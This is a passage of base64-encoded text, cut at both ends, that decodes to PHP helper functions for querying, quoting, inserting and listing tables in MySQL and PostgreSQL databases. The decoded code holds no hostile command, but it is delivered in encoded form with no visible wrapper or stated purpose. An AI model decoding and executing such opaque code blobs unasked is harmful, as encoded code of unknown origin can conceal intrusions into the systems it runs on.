sZHMgcmVxdWlyZWQuIFF1ZXJ5OiAlcy4nLCAkcXVlcnkpLCBFX1VTRVJfRVJST1IpOw0KCX0NCglpZiAoY291bnQoJG51bSkgPiAyICYmIGNvdW50KCRyb3cpIDw9IDIpIHsNCgkJdHJpZ2dlcl9lcnJvcihzcHJpbnRmKCdkYl9hc3NvYygpIGZhaWxlZC4gSWYgc3BlY2lmaWVkIG1vcmUgdGhhbiB0d28gZmllbGRzLCB0aGVuIGVhY2ggb2YgdGhlbSBtdXN0IGhhdmUgYSB1bmlxdWUgbmFtZS4gUXVlcnk6ICVzLicsICRxdWVyeSksIEVfVVNFUl9FUlJPUik7DQoJfQ0KCWZvcmVhY2ggKCRyb3cgYXMgJGsgPT4gJHYpIHsNCgkJJGZpcnN0X2tleSA9ICRrOw0KCQlicmVhazsNCgl9DQoJaWYgKGNvdW50KCRyb3cpID4gMikgew0KCQkkcm93c1skcm93WyRmaXJzdF9rZXldXSA9ICRyb3c7DQoJCXdoaWxlICgkcm93ID0gZGJfcm93KCRycykpIHsNCgkJCSRyb3dzWyRyb3dbJGZpcnN0X2tleV1dID0gJHJvdzsNCgkJfQ0KCX0gZWxzZSB7DQoJCSRyb3dzWyRudW1bMF1dID0gJG51bVsxXTsNCgkJd2hpbGUgKCRudW0gPSBkYl9yb3dfbnVtKCRycykpIHsNCgkJCSRyb3dzWyRudW1bMF1dID0gJG51bVsxXTsNCgkJfQ0KCX0NCglkYl9mcmVlKCRycyk7DQoJcmV0dXJuICRyb3dzOw0KfQ0KZnVuY3Rpb24gZGJfbGltaXQoJHF1ZXJ5LCAkb2Zmc2V0LCAkbGltaXQpDQp7DQoJZ2xvYmFsICRkYl9kcml2ZXI7DQoNCgkkb2Zmc2V0ID0gKGludCkgJG9mZnNldDsNCgkkbGltaXQgPSAoaW50KSAkbGltaXQ7DQoNCgkkcXVlcnkgPSB0cmltKCRxdWVyeSk7DQoJaWYgKHN0cl9lbmRzX3dpdGgoJHF1ZXJ5LCAnOycpKSB7DQoJCSRxdWVyeSA9IHN0cl9jdXRfZW5kKCRxdWVyeSwgJzsnKTsNCgl9DQoNCgkkcXVlcnkgPSBwcmVnX3JlcGxhY2UoJyNeKFtcc1xTXSspTElNSVRccytcZCtccytPRkZTRVRccytcZCtccyokI2knLCAnJDEnLCAkcXVlcnkpOw0KCSRxdWVyeSA9IHByZWdfcmVwbGFjZSgnI14oW1xzXFNdKylMSU1JVFxzK1xkK1xzKixccypcZCtccyokI2knLCAnJDEnLCAkcXVlcnkpOw0KDQoJaWYgKCdteXNxbCcgPT0gJGRiX2RyaXZlcikgew0KCQkvLyBteXNxbCAzLjIzIGRvZXNuJ3QgdW5kZXJzdGFuZCAiTElNSVQgeCBPRkZTRVQgeiINCgkJcmV0dXJuICRxdWVyeS4iIExJTUlUICRvZmZzZXQsICRsaW1pdCI7DQoJfSBlbHNlIHsNCgkJcmV0dXJuICRxdWVyeS4iIExJTUlUICRsaW1pdCBPRkZTRVQgJG9mZnNldCI7DQoJfQ0KfQ0KZnVuY3Rpb24gZGJfZXNjYXBlKCR2YWx1ZSkNCnsNCglnbG9iYWwgJGRiX2RyaXZlciwgJGRiX2xpbms7DQoJaWYgKCdteXNxbCcgPT0gJGRiX2RyaXZlcikgew0KCQlyZXR1cm4gbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2YWx1ZSwgJGRiX2xpbmspOw0KCX0NCglpZiAoJ3Bnc3FsJyA9PSAkZGJfZHJpdmVyKSB7DQoJCXJldHVybiBwZ19lc2NhcGVfc3RyaW5nKCR2YWx1ZSk7DQoJfQ0KfQ0KZnVuY3Rpb24gZGJfcXVvdGUoJHMpDQp7DQoJc3dpdGNoICh0cnVlKSB7DQoJCWNhc2UgaXNfbnVsbCgkcyk6IHJldHVybiAnTlVMTCc7DQoJCWNhc2UgaXNfaW50KCRzKTogcmV0dXJuICRzOw0KCQljYXNlIGlzX2Zsb2F0KCRzKTogcmV0dXJuICRzOw0KCQljYXNlIGlzX2Jvb2woJHMpOiByZXR1cm4gKGludCkgJHM7DQoJCWNhc2UgaXNfc3RyaW5nKCRzKTogcmV0dXJuICInIiAuIGRiX2VzY2FwZSgkcykgLiAiJyI7DQoJCWNhc2UgaXNfb2JqZWN0KCRzKTogcmV0dXJuICRzLT5nZXRWYWx1ZSgpOw0KCQlkZWZhdWx0Og0KCQkJdHJpZ2dlcl9lcnJvcihzcHJpbnRmKCJkYl9xdW90ZSgpIGZhaWxlZC4gSW52YWxpZCBkYXRhIHR5cGU6ICclcycuIiwgZ2V0dHlwZSgkcykpLCBFX1VTRVJfRVJST1IpOw0KCQkJcmV0dXJuIGZhbHNlOw0KCX0NCn0NCmZ1bmN0aW9uIGRiX3N0cmxlbl9jbXAoJGEsICRiKQ0Kew0KCWlmIChzdHJsZW4oJGEpID09IHN0cmxlbigkYikpIHsNCgkJcmV0dXJuIDA7DQoJfQ0KCXJldHVybiBzdHJsZW4oJGEpID4gc3RybGVuKCRiKSA/IC0xIDogMTsNCn0NCmZ1bmN0aW9uIGRiX2JpbmQoJHEsICRkYXQpDQp7DQoJaWYgKGZhbHNlID09PSAkZGF0KSB7DQoJCXJldHVybiAkcTsNCgl9DQoJaWYgKCFpc19hcnJheSgkZGF0KSkgew0KCQkvL3JldHVybiB0cmlnZ2VyX2Vycm9yKCdkYl9iaW5kKCkgZmFpbGVkLiBTZWNvbmQgYXJndW1lbnQgZXhwZWN0cyB0byBiZSBhbiBhcnJheS4nLCBFX1VTRVJfRVJST1IpOw0KCQkkZGF0ID0gYXJyYXkoJGRhdCk7DQoJfQ0KDQoJJHFCYXNlID0gJHE7DQoNCgkvLyBzcGVjaWFsIGNhc2U6IExJS0UgJyVhc2QlJywgbmVlZCB0byBpZ25vcmUgdGhhdA0KCSRxX3NlYXJjaCA9IGFycmF5KCInJSIsICIlJyIpOw0KCSRxX3JlcGxhY2UgPSBhcnJheSgiJ1wkIiwgIlwkJyIpOw0KCSRxID0gc3RyX3JlcGxhY2UoJHFfc2VhcmNoLCAkcV9yZXBsYWNlLCAkcSk7DQoNCglwcmVnX21hdGNoX2FsbCgnIyVcdysjJywgJHEsICRtYXRjaCk7DQoJaWYgKCRtYXRjaCkgew0KCQkkbWF0Y2ggPSAkbWF0Y2hbMF07DQoJfQ0KCWlmICghJG1hdGNoIHx8ICFjb3VudCgkbWF0Y2gpKSB7DQoJCXJldHVybiB0cmlnZ2VyX2Vycm9yKCdkYl9iaW5kKCkgZmFpbGVkLiBObyBiaW5kaW5nIGtleXMgZm91bmQgaW4gdGhlIHF1ZXJ5LicsIEVfVVNFUl9FUlJPUik7DQoJfQ0KCSRrZXlzID0gJG1hdGNoOw0KCXVzb3J0KCRrZXlzLCAnZGJfc3RybGVuX2NtcCcpOw0KCSRudW0gPSBhcnJheSgpOw0KDQoJZm9yZWFjaCAoJGtleXMgYXMgJGtleSkNCgl7DQoJCSRrZXkyID0gc3RyX3JlcGxhY2UoJyUnLCAnJywgJGtleSk7DQoJCWlmIChpc19udW1lcmljKCRrZXkyKSkgJG51bVska2V5XSA9IHRydWU7DQoJCWlmICghYXJyYXlfa2V5X2V4aXN0cygka2V5MiwgJGRhdCkpIHsNCgkJCXJldHVybiB0cmlnZ2VyX2Vycm9yKHNwcmludGYoJ2RiX2JpbmQoKSBmYWlsZWQuIE5vIGRhdGEgZm91bmQgZm9yIGtleTogJXMuIFF1ZXJ5OiAlcy4nLCAka2V5LCAkcUJhc2UpLCBFX1VTRVJfRVJST1IpOw0KCQl9DQoJCSRxID0gc3RyX3JlcGxhY2UoJGtleSwgZGJfcXVvdGUoJGRhdFska2V5Ml0pLCAkcSk7DQoJfQ0KCWlmIChjb3VudCgkbnVtKSkgew0KCQlpZiAoY291bnQoJGRhdCkgIT0gY291bnQoJG51bSkpIHsNCgkJCXJldHVybiB0cmlnZ2VyX2Vycm9yKCdkYl9iaW5kKCkgZmFpbGVkLiBXaGVuIHVzaW5nIG51bWVyaWMgZGF0YSBiaW5kaW5nIHlvdSBuZWVkIHRvIHVzZSBhbGwgZGF0YSBwYXNzZWQgdG8gdGhlIHF1ZXJ5LiBZb3UgYWxzbyBjYW5ub3QgbWl4IG51bWVyaWMgYW5kIG5hbWUgYmluZGluZy4nLCBFX1VTRVJfRVJST1IpOw0KCQl9DQoJfQ0KDQoJJHEgPSBzdHJfcmVwbGFjZSgkcV9yZXBsYWNlLCAkcV9zZWFyY2gsICRxKTsNCg0KCXJldHVybiAkcTsNCn0NCmZ1bmN0aW9uIGRiX2ZyZWUoJHJzKQ0Kew0KCWdsb2JhbCAkZGJfZHJpdmVyOw0KCWlmIChkYl9pc19yZXN1bHQoJHJzKSkgew0KCQlpZiAoJ215c3FsJyA9PSAkZGJfZHJpdmVyKSByZXR1cm4gbXlzcWxfZnJlZV9yZXN1bHQoJHJzKTsNCgkJaWYgKCdwZ3NxbCcgPT0gJGRiX2RyaXZlcikgcmV0dXJuIHBnX2ZyZWVfcmVzdWx0KCRycyk7DQoJfQ0KfQ0KZnVuY3Rpb24gZGJfaXNfcmVzdWx0KCRycykNCnsNCglnbG9iYWwgJGRiX2RyaXZlcjsNCglpZiAoJ215c3FsJyA9PSAkZGJfZHJpdmVyKSByZXR1cm4gaXNfcmVzb3VyY2UoJHJzKTsNCglpZiAoJ3Bnc3FsJyA9PSAkZGJfZHJpdmVyKSByZXR1cm4gaXNfb2JqZWN0KCRycykgfHwgaXNfcmVzb3VyY2UoJHJzKTsNCn0NCmZ1bmN0aW9uIGRiX2Vycm9yKCkNCnsNCglnbG9iYWwgJGRiX2RyaXZlciwgJGRiX2xpbms7DQoJaWYgKCdteXNxbCcgPT0gJGRiX2RyaXZlcikgew0KCQlpZiAoaXNfcmVzb3VyY2UoJGRiX2xpbmspKSB7DQoJCQlpZiAobXlzcWxfZXJyb3IoJGRiX2xpbmspKSB7DQoJCQkJcmV0dXJuIG15c3FsX2Vycm9yKCRkYl9saW5rKS4gJyAoJy4gbXlzcWxfZXJybm8oJGRiX2xpbmspLicpJzsNCgkJCX0gZWxzZSB7DQoJCQkJcmV0dXJuIGZhbHNlOw0KCQkJfQ0KCQl9IGVsc2Ugew0KCQkJaWYgKG15c3FsX2Vycm9yKCkpIHsNCgkJCQlyZXR1cm4gbXlzcWxfZXJyb3IoKS4gJyAoJy4gbXlzcWxfZXJybm8oKS4nKSc7DQoJCQl9IGVsc2Ugew0KCQkJCXJldHVybiBmYWxzZTsNCgkJCX0NCgkJfQ0KCX0NCglpZiAoJ3Bnc3FsJyA9PSAkZGJfZHJpdmVyKSB7DQoJCWlmIChpc19yZXNvdXJjZSgkZGJfbGluaykpIHsNCgkJCXJldHVybiBwZ19sYXN0X2Vycm9yKCRkYl9saW5rKTsNCgkJfQ0KCX0NCn0NCmZ1bmN0aW9uIGRiX2JlZ2luKCkNCnsNCglnbG9iYWwgJGRiX2RyaXZlcjsNCglpZiAoJ215c3FsJyA9PSAkZGJfZHJpdmVyKSB7DQoJCWRiX2V4ZSgnU0VUIEFVVE9DT01NSVQ9MCcpOw0KCQlkYl9leGUoJ0JFR0lOJyk7DQoJfQ0KCWlmICgncGdzcWwnID09ICRkYl9kcml2ZXIpIHsNCgkJZGJfZXhlKCdCRUdJTicpOw0KCX0NCn0NCmZ1bmN0aW9uIGRiX2VuZCgpDQp7DQoJZ2xvYmFsICRkYl9kcml2ZXI7DQoJaWYgKCdteXNxbCcgPT0gJGRiX2RyaXZlcikgew0KCQlkYl9leGUoJ0NPTU1JVCcpOw0KCQlkYl9leGUoJ1NFVCBBVVRPQ09NTUlUPTEnKTsNCgl9DQoJaWYgKCdwZ3NxbCcgPT0gJGRiX2RyaXZlcikgew0KCQlkYl9leGUoJ0NPTU1JVCcpOw0KCX0NCn0NCmZ1bmN0aW9uIGRiX3JvbGxiYWNrKCkNCnsNCglnbG9iYWwgJGRiX2RyaXZlcjsNCglpZiAoJ215c3FsJyA9PSAkZGJfZHJpdmVyKSB7DQoJCWRiX2V4ZSgnUk9MTEJBQ0snKTsNCgkJZGJfZXhlKCdTRVQgQVVUT0NPTU1JVD0xJyk7DQoJfQ0KCWlmICgncGdzcWwnID09ICRkYl9kcml2ZXIpIHsNCgkJZGJfZXhlKCdST0xMQkFDSycpOw0KCX0NCn0NCmZ1bmN0aW9uIGRiX2luX2FycmF5KCRhcnIpDQp7DQoJJGluID0gJyc7DQoJZm9yZWFjaCAoJGFyciBhcyAkdikgew0KCQlpZiAoJGluKSAkaW4gLj0gJywnOw0KCQkkaW4gLj0gZGJfcXVvdGUoJHYpOw0KCX0NCglyZXR1cm4gJGluOw0KfQ0KZnVuY3Rpb24gZGJfd2hlcmUoJHdoZXJlX2FycmF5LCAkZmllbGRfcHJlZml4ID0gbnVsbCwgJG9taXRfd2hlcmUgPSBmYWxzZSkNCnsNCgkkZmllbGRfcHJlZml4ID0gc3RyX3JlcGxhY2UoJy4nLCAnJywgJGZpZWxkX3ByZWZpeCk7DQoJJHdoZXJlID0gJyc7DQoJaWYgKGNvdW50KCR3aGVyZV9hcnJheSkpIHsNCgkJZm9yZWFjaCAoJHdoZXJlX2FycmF5IGFzICR3aF9rID0+ICR3aCkNCgkJew0KCQkJaWYgKGlzX251bWVyaWMoJHdoX2spKSB7DQoJCQkJaWYgKCR3aCkgew0KCQkJCQlpZiAoJGZpZWxkX3ByZWZpeCAmJiAhcHJlZ19tYXRjaCgnI15ccypcdytcLiNpJywgJHdoKSAmJiAhcHJlZ19tYXRjaCgnI15ccypcdytccypcKCNpJywgJHdoKSkgew0KCQkJCQkJJHdoID0gJGZpZWxkX3ByZWZpeC4nLicudHJpbSgkd2gpOw0KCQkJCQl9DQoJCQkJCWlmICgkd2hlcmUpICR3aGVyZSAuPSAnIEFORCAnOw0KCQkJCQkkd2hlcmUgLj0gJHdoOw0KCQkJCX0NCgkJCX0gZWxzZSB7DQoJCQkJaWYgKCR3aF9rKSB7DQoJCQkJCWlmICgkZmllbGRfcHJlZml4ICYmICFwcmVnX21hdGNoKCcjXlxzKlx3K1wuI2knLCAkd2hfaykgJiYgIXByZWdfbWF0Y2goJyNeXHMqXHcrXHMqXCgjaScsICR3aCkpIHsNCgkJCQkJCSR3aF9rID0gJGZpZWxkX3ByZWZpeC4nLicuJHdoX2s7DQoJCQkJCX0NCgkJCQkJJHdoID0gZGJfY29uZCgkd2hfaywgJHdoKTsNCgkJCQkJaWYgKCR3aGVyZSkgJHdoZXJlIC49ICcgQU5EICc7DQoJCQkJCSR3aGVyZSAuPSAkd2g7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCWlmICgkd2hlcmUpIHsNCgkJCWlmICghJG9taXRfd2hlcmUpIHsNCgkJCQkkd2hlcmUgPSAnIFdIRVJFICcuJHdoZXJlOw0KCQkJfQ0KCQl9DQoJfQ0KCXJldHVybiAkd2hlcmU7DQp9DQpmdW5jdGlvbiBkYl9pbnNlcnQoJHRibCwgJGRhdCkNCnsNCglnbG9iYWwgJGRiX2RyaXZlcjsNCglpZiAoIWNvdW50KCRkYXQpKSB7DQoJCXRyaWdnZXJfZXJyb3IoJ2RiX2luc2VydCgpIGZhaWxlZC4gRGF0YSBpcyBlbXB0eS4nLCBFX1VTRVJfRVJST1IpOw0KCQlyZXR1cm4gZmFsc2U7DQoJfQ0KCSRjb2xzID0gJyc7DQoJJHZhbHMgPSAnJzsNCgkkZmlyc3QgPSB0cnVlOw0KCWZvcmVhY2ggKCRkYXQgYXMgJGsgPT4gJHYpIHsNCgkJaWYgKCRmaXJzdCkgew0KCQkJJGNvbHMgLj0gJGs7DQoJCQkkdmFscyAuPSBkYl9xdW90ZSgkdik7DQoJCQkkZmlyc3QgPSBmYWxzZTsNCgkJfSBlbHNlIHsNCgkJCSRjb2xzIC49ICcsJyAuICRrOw0KCQkJJHZhbHMgLj0gJywnIC4gZGJfcXVvdGUoJHYpOw0KCQl9DQoJfQ0KCWlmICgnbXlzcWwnID09ICRkYl9kcml2ZXIpIHsNCgkJJHRibCA9ICJgJHRibGAiOw0KCX0NCgkkcSA9ICJJTlNFUlQgSU5UTyAkdGJsICgkY29scykgVkFMVUVTICgkdmFscykiOw0KCWRiX2V4ZSgkcSk7DQp9DQovLyAkd2ggPSBXSEVSRSBjb25kaXRpb24sIG1pZ2h0IGJlIChzdHJpbmcpIG9yIChhcnJheSkNCmZ1bmN0aW9uIGRiX3VwZGF0ZSgkdGJsLCAkZGF0LCAkd2gpDQp7DQoJZ2xvYmFsICRkYl9kcml2ZXI7DQoJaWYgKCFjb3VudCgkZGF0KSkgew0KCQl0cmlnZ2VyX2Vycm9yKCdkYl91cGRhdGUoKSBmYWlsZWQuIERhdGEgaXMgZW1wdHkuJywgRV9VU0VSX0VSUk9SKTsNCgkJcmV0dXJuIGZhbHNlOw0KCX0NCgkkc2V0ID0gJyc7DQoJJGZpcnN0ID0gdHJ1ZTsNCglmb3JlYWNoICgkZGF0IGFzICRrID0+ICR2KSB7DQoJCWlmICgkZmlyc3QpIHsNCgkJCSRzZXQgICAuPSAkayAuICc9JyAuIGRiX3F1b3RlKCR2KTsNCgkJCSRmaXJzdCA9IGZhbHNlOw0KCQl9IGVsc2Ugew0KCQkJJHNldCAuPSAnLCcgLiAkayAuICc9JyAuIGRiX3F1b3RlKCR2KTsNCgkJfQ0KCX0NCglpZiAoaXNfYXJyYXkoJHdoKSkgew0KCQkkd2ggPSBkYl93aGVyZSgkd2gsIG51bGwsICRvbWl0X3doZXJlID0gdHJ1ZSk7DQoJfQ0KCWlmICgnbXlzcWwnID09ICRkYl9kcml2ZXIpIHsNCgkJJHRibCA9ICJgJHRibGAiOw0KCX0NCgkkcSA9ICJVUERBVEUgJHRibCBTRVQgJHNldCBXSEVSRSAkd2giOw0KCXJldHVybiBkYl9leGUoJHEpOw0KfQ0KZnVuY3Rpb24gZGJfaW5zZXJ0X2lkKCR0YWJsZSA9IG51bGwsICRwayA9IG51bGwpDQp7DQoJZ2xvYmFsICRkYl9kcml2ZXIsICRkYl9saW5rOw0KCWlmICgnbXlzcWwnID09ICRkYl9kcml2ZXIpIHsNCgkJcmV0dXJuIG15c3FsX2luc2VydF9pZCgkX2RiWydjb25uX2lkJ10pOw0KCX0NCglpZiAoJ3Bnc3FsJyA9PSAkZGJfZHJpdmVyKSB7DQoJCWlmICghJHRhYmxlIHx8ICEkcGspIHsNCgkJCXRyaWdnZXJfZXJyb3IoJ2RiX2luc2VydF9pZCgpOiB0YWJsZSAmIHBrIHJlcXVpcmVkJywgRV9VU0VSX0VSUk9SKTsNCgkJfQ0KCQkkc2VxX2lkID0gJHRhYmxlLidfJy4kcGsuJ19zZXEnOw0KCQlyZXR1cm4gZGJfc2VxX2lkKCRzZXFfaWQpOw0KCX0NCn0NCmZ1bmN0aW9uIGRiX3NlcV9pZCgkc2VxTmFtZSkNCnsNCglyZXR1cm4gZGJfb25lKCdTRUxFQ1QgY3VycnZhbCglc2VxTmFtZSknLCBhcnJheSgnc2VxTmFtZSc9PiRzZXFOYW1lKSk7DQp9DQpmdW5jdGlvbiBkYl9jb25kKCRrLCAkdikNCnsNCglpZiAoaXNfbnVsbCgkdikpIHJldHVybiBzcHJpbnRmKCclcyBJUyBOVUxMJywgJGspOw0KCWVsc2UgcmV0dXJuIHNwcmludGYoJyVzID0gJXMnLCAkaywgZGJfcXVvdGUoJHYpKTsNCn0NCmZ1bmN0aW9uIGxpc3RfZGJzKCkNCnsNCglnbG9iYWwgJGRiX2RyaXZlciwgJGRiX2xpbms7DQoJaWYgKCdteXNxbCcgPT0gJGRiX2RyaXZlcikNCgl7DQoJCSRyZXN1bHQgPSBteXNxbF9xdWVyeSgnU0hPVyBEQVRBQkFTRVMnLCAkZGJfbGluayk7DQoJCSRyZXQgPSBhcnJheSgpOw0KCQl3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX3JvdygkcmVzdWx0KSkgew0KCQkJJHJldFskcm93WzBdXSA9ICRyb3dbMF07DQoJCX0NCgkJcmV0dXJuICRyZXQ7DQoJfQ0KCWlmICgncGdzcWwnID09ICRkYl9kcml2ZXIpDQoJew0KCQlyZXR1cm4gZGJfYXNzb2MoJ1NFTEVDVCBkYXRuYW1lLCBkYXRuYW1lIEZST00gcGdfZGF0YWJhc2UnKTsNCgl9DQp9DQpmdW5jdGlvbiB2aWV3c19zdXBwb3J0ZWQoKQ0Kew0KCXN0YXRpYyAkcmV0Ow0KCWlmIChpc3NldCgkcmV0KSkgew0KCQlyZXR1cm4gJHJldDsNCgl9DQoJZ2xvYmFsICRkYl9kcml2ZXIsICRkYl9saW5rOw0KCWlmICgnbXlzcWwnID09ICRkYl9kcml2ZXIpIHsNCgkJJHZlcnNpb24gPSBteXNxbF9nZXRfc2VydmVyX2luZm8oJGRiX2xpbmspOw0KCQlpZiAoc3RycG9zKCR2ZXJzaW9uLCAiLSIpICE9PSBmYWxzZSkgew0KCQkJJHZlcnNpb24gPSBzdWJzdHIoJHZlcnNpb24sIDAsIHN0cnBvcygkdmVyc2lvbiwgIi0iKSk7DQoJCX0NCgkJaWYgKHZlcnNpb25fY29tcGFyZSgkdmVyc2lvbiwgIjUuMC4yIiwgIj49IikpIHsNCgkJCS8vIFZpZXdzIGFyZSBhdmFpbGFibGUgaW4gNS4wLjAgYnV0IHdlIG5lZWQgU0hPVyBGVUxMIFRBQkxFUw0KCQkJLy8gYW5kIHRoZSBGVUxMIHN5bnRheCB3YXMgYWRkZWQgaW4gNS4wLjIsIEZVTEwgYWxsb3dzIHVzIHRvDQoJCQkvLyB0byBkaXN0aW5jdCBiZXR3ZWVuIHRhYmxlcyAmIHZpZXdzIGluIHRoZSByZXR1cm5lZCBsaXN0IGJ5DQoJCQkvLyBieSBwcm92aWRpbmcgYW4gYWRkaXRpb25hbCBjb2x1bW4uDQoJCQkkcmV0ID0gdHJ1ZTsNCgkJCXJldHVybiB0cnVlOw0KCQl9IGVsc2Ugew0KCQkJJHJldCA9IGZhbHNlOw0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJfQ0KCWlmICgncGdzcWwnID09ICRkYl9kcml2ZXIpIHsNCgkJJHJldCA9IHRydWU7DQoJCXJldHVybiB0cnVlOw0KCX0NCn0NCmZ1bmN0aW9uIGxpc3RfdGFibGVzKCR2aWV3c19tb2RlPWZhbHNlKQ0Kew0KCWdsb2JhbCAkZGJfZHJpdmVyLCAkZGJfbGluaywgJGRiX25hbWU7DQoNCglpZiAoJHZpZXdzX21vZGUgJiYgIXZpZXdzX3N1cHBvcnRlZCgpKSB7DQoJCXJldHVybiBhcnJheSgpOw0KCX0NCg0KCXN0YXRpYyAkY2FjaGVfdGFibGVzOw0KCXN0YXRpYyAkY2FjaGVfdmlld3M7DQoNCglpZiAoJHZpZXdzX21vZGUpIHsNCgkJaWYgKGlzc2V0KCRjYWNoZV92aWV3cykpIHsNCgkJCXJldHVybiAkY2FjaGVfdmlld3M7DQoJCX0NCgl9IGVsc2Ugew0KCQlpZiAoaXNzZXQoJGNhY2hlX3RhYmxlcykpIHsNCgkJCXJldHVybiAkY2FjaGVfdGFibGVzOw0KCQl9DQoJfQ0KDQoJc3RhdGljICRhbGxfdGFibGVzOyAvLyB0YWJsZXMgYW5kIHZpZXdzDQoNCglpZiAoJ215c3FsJyA9PSAkZGJfZHJpdmVyKQ0KCXsNCgkJaWYgKCFpc3NldCgkYWxsX3RhYmxlcykpIHsNCgkJCSRhbGxfdGFibGVzID0gZGJfYXNzb2MoIlNIT1cgRlVMTCBUQUJMRVMiKTsNCgkJCS8vIGFzc29jOiB0YWJsZSBuYW1lID0+IHRhYmxlIHR5cGUgKEJBU0UgVEFCTEUgb3IgVklFVykNCgkJfQ0KDQoJCS8vIFRoaXMgY2h1bmsgb2YgY29kZSBpcyB0aGUgc2FtZSBhcyBpbiBwZ3NxbCBkcml2ZXIuDQoJCWlmICgkdmlld3NfbW9kZSkgew0KCQkJJHZpZXdzID0gYXJyYXkoKTsNCgkJCWZvcmVhY2ggKCRhbGxfdGFibGVzIGFzICR2aWV3ID0+ICR0eXBlKSB7DQoJCQkJaWYgKCR0eXBlICE9ICdWSUVXJykgeyBjb250aW51ZTsgfQ0KCQkJCSR2aWV3c1tdID0gJHZpZXc7DQoJCQl9DQoJCQkkY2FjaGVfdmlld3MgPSAkdmlld3M7DQoJCQlyZXR1cm4gJHZpZXdzOw0KCQl9IGVsc2Ugew0KCQkJJHRhYmxlcyA9IGFycmF5KCk7DQoJCQlmb3JlYWNoICgkYWxsX3RhYmxlcyBhcyAkdGFibGUgPT4gJHR5cGUpIHsNCgkJCQlpZiAoJHR5cGUgIT0gJ0JBU0UgVEFCTEUnKSB7IGNvbnRpbnVlOyB9DQoJCQkJJHRhYmxlc1tdID0gJHRhYmxlOw0KCQkJfQ0KCQkJJGNhY2hlX3RhYmxlcyA9ICR0YWJsZXM7DQoJCQlyZXR1cm4gJHRhYmxlczsNCgkJfQ0KCX0NCglpZiAoJ3Bnc3FsJyA9PSAkZGJfZHJpdmVyKQ0KCXsNCgkJaWYgKCFpc3NldCgkYWxsX3RhYmxlcykpIHsNCgkJCSRxdWVyeSA9ICJTRUxFQ1QgdGFibGVfbmFtZSwgdGFibGVfdHlwZSAiOw0KCQkJJHF1ZXJ5IC49ICJGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgIjsNCgkJCSRxdWVyeSAuPSAiV0hFUkUgdGFibGVfc2NoZW1hID0gJ3B1YmxpYycgIjsNCgkJCSRxdWVyeSAuPSAiQU5EICh0YWJsZV90eXBlID0gJ0JBU0UgVEFCTEUnIE9SIHRhYmxlX3R5cGUgPSAnVklFVycpICI7DQoJCQkkcXVlcnkgLj0gIk9SREVSIEJZIHRhYmxlX25hbWUgIjsNCgkJCSRhbGxfdGFibGVzID0gZGJfYXNzb2MoJHF1ZXJ5KTsNCgkJfQ0KDQoJCS8vIFRoaXMgY2h1bmsgb2YgY29kZSBpcyB0aGUgc2FtZSBhcyBpbiBteXNxbCBkcml2ZXIuDQoJCWlmICgkdmlld3NfbW9kZSkgew0KCQkJJHZpZXdzID0gYXJyYXkoKTsNCgkJCWZvcmVhY2ggKCRhbGxfdGFibGVzIGFzICR2aWV3ID0+ICR0eXBlKSB7DQoJCQkJaWYgKCR0eXBlICE9ICdWSUVXJykgeyBjb250aW51ZTsgfQ0KCQkJCSR2aWV3c1tdID0gJHZpZXc7DQoJCQl9DQoJCQkkY2FjaGVfdmlld3MgPSAkdmlld3M7DQoJCQlyZXR1cm4gJHZpZXdzOw0KCQl9IGVsc2Ugew0KCQkJJHRhYmxlcyA9IGFycmF5KCk7DQoJCQlmb3JlYWNoICgkYWxsX3RhYmxlcyBhcyAkdGFibGUgPT4gJHR5cGUpIHsNCgkJCQlpZiAoJHR5cGUgIT0gJ0JBU0UgVEFCTEUnKSB7IGNvbnRpbnVlOyB9DQoJCQkJJHRhYmxlc1tdID0gJHRhYmxlOw0KCQkJfQ0KCQkJJGNhY2hlX3RhYmxlcyA9ICR0YWJsZXM7DQoJCQlyZXR1cm4gJHRhYmxlczsNCgkJfQ0KCX0NCn0NCmZ1bmN0aW9uIElzVGFibGVBVmlldygkdGFibGUpDQp7DQoJLy8gVGhlcmUgaXMgbm8gY2FjaGUgaGVyZSwgc28gY2FsbCBpdCBvbmx5IG9uY2UhDQoNCglnbG9iYWwgJGRiX2RyaXZlciwgJGRiX25hbWU7DQoNCglpZiAoIm15c3FsIiA9PSAkZGJfZHJpdmVyKSB7DQoJCS8vIFZpZXdzIGFuZCBpbmZvcm1hdGlvbl9zY2hlbWEgaXMgc3VwcG9ydGVkIHNpbmNlIDUuMA0KCQlpZiAodmlld3Nfc3VwcG9ydGVkKCkpIHsNCgkJCSRxdWVyeSA9ICJTRUxFQ1QgdGFibGVfbmFtZSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgV0hFUkUgdGFibGVfc2NoZW1hPSUwIEFORCB0YWJsZV9uYW1lPSUxIEFORCB0YWJsZV90eXBlPSdWSUVXJyAiOw0KCQkJJHJvdyA9IGRiX3JvdygkcXVlcnksIGFycmF5KCRkYl9uYW1lLCAkdGFibGUpKTsNCgkJCXJldHVybiAoYm9vbCkgJHJvdzsNCgkJfQ0KCQlyZXR1cm4gZmFsc2U7DQoJfQ0KCWVsc2UgaWYgKCJwZ3NxbCIgPT0gJGRiX2RyaXZlcikgew0KCQkkcXVlcnkgPSAiU0VMRUNUIHRhYmxlX25hbWUsIHRhYmxlX3R5cGUgIjsNCgkJJHF1ZXJ5IC49ICJGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgIjsNCgkJJHF1ZXJ5IC49ICJXSEVSRSB0YWJsZV9zY2hlbWEgPSAncHVibGljJyAiOw0KCQkkcXVlcnkgLj0gIkFORCB0YWJsZV90eXBlID0gJ1ZJRVcnIEFORCB0YWJsZV9uYW1lID0gJTAgIjsNCgkJJHJvdyA9IGRiX3JvdygkcXVlcnksICR0YWJsZSk7DQoJCXJldHVybiAoYm9vbCkgJHJvdzsNCgl9DQp9DQpmdW5jdGlvbiBxdW90ZV90YWJsZSgkdGFibGUpDQp7DQoJZ2xvYmFsICRkYl9kcml2ZXI7DQoJaWYgKCdteXNxbCcgPT0gJGRiX2RyaXZlcikgew0KCQlyZXR1cm4gImAkdGFibGVgIjsNCgl9IGVsc2Ugew0KCQlyZXR1cm4gIlwiJHRhYmxlXCIiOw0KCX0NCn0NCmZ1bmN0aW9uIHRhYmxlX3N0cnVjdHVyZSgkdGFibGUpDQp7DQoJZ2xvYmFsICRkYl9kcml2ZXI7DQoJaWYgKCdteXNxbCcgPT0gJGRiX2RyaXZlcikNCgl7DQoJCSRxdWVyeSA9IC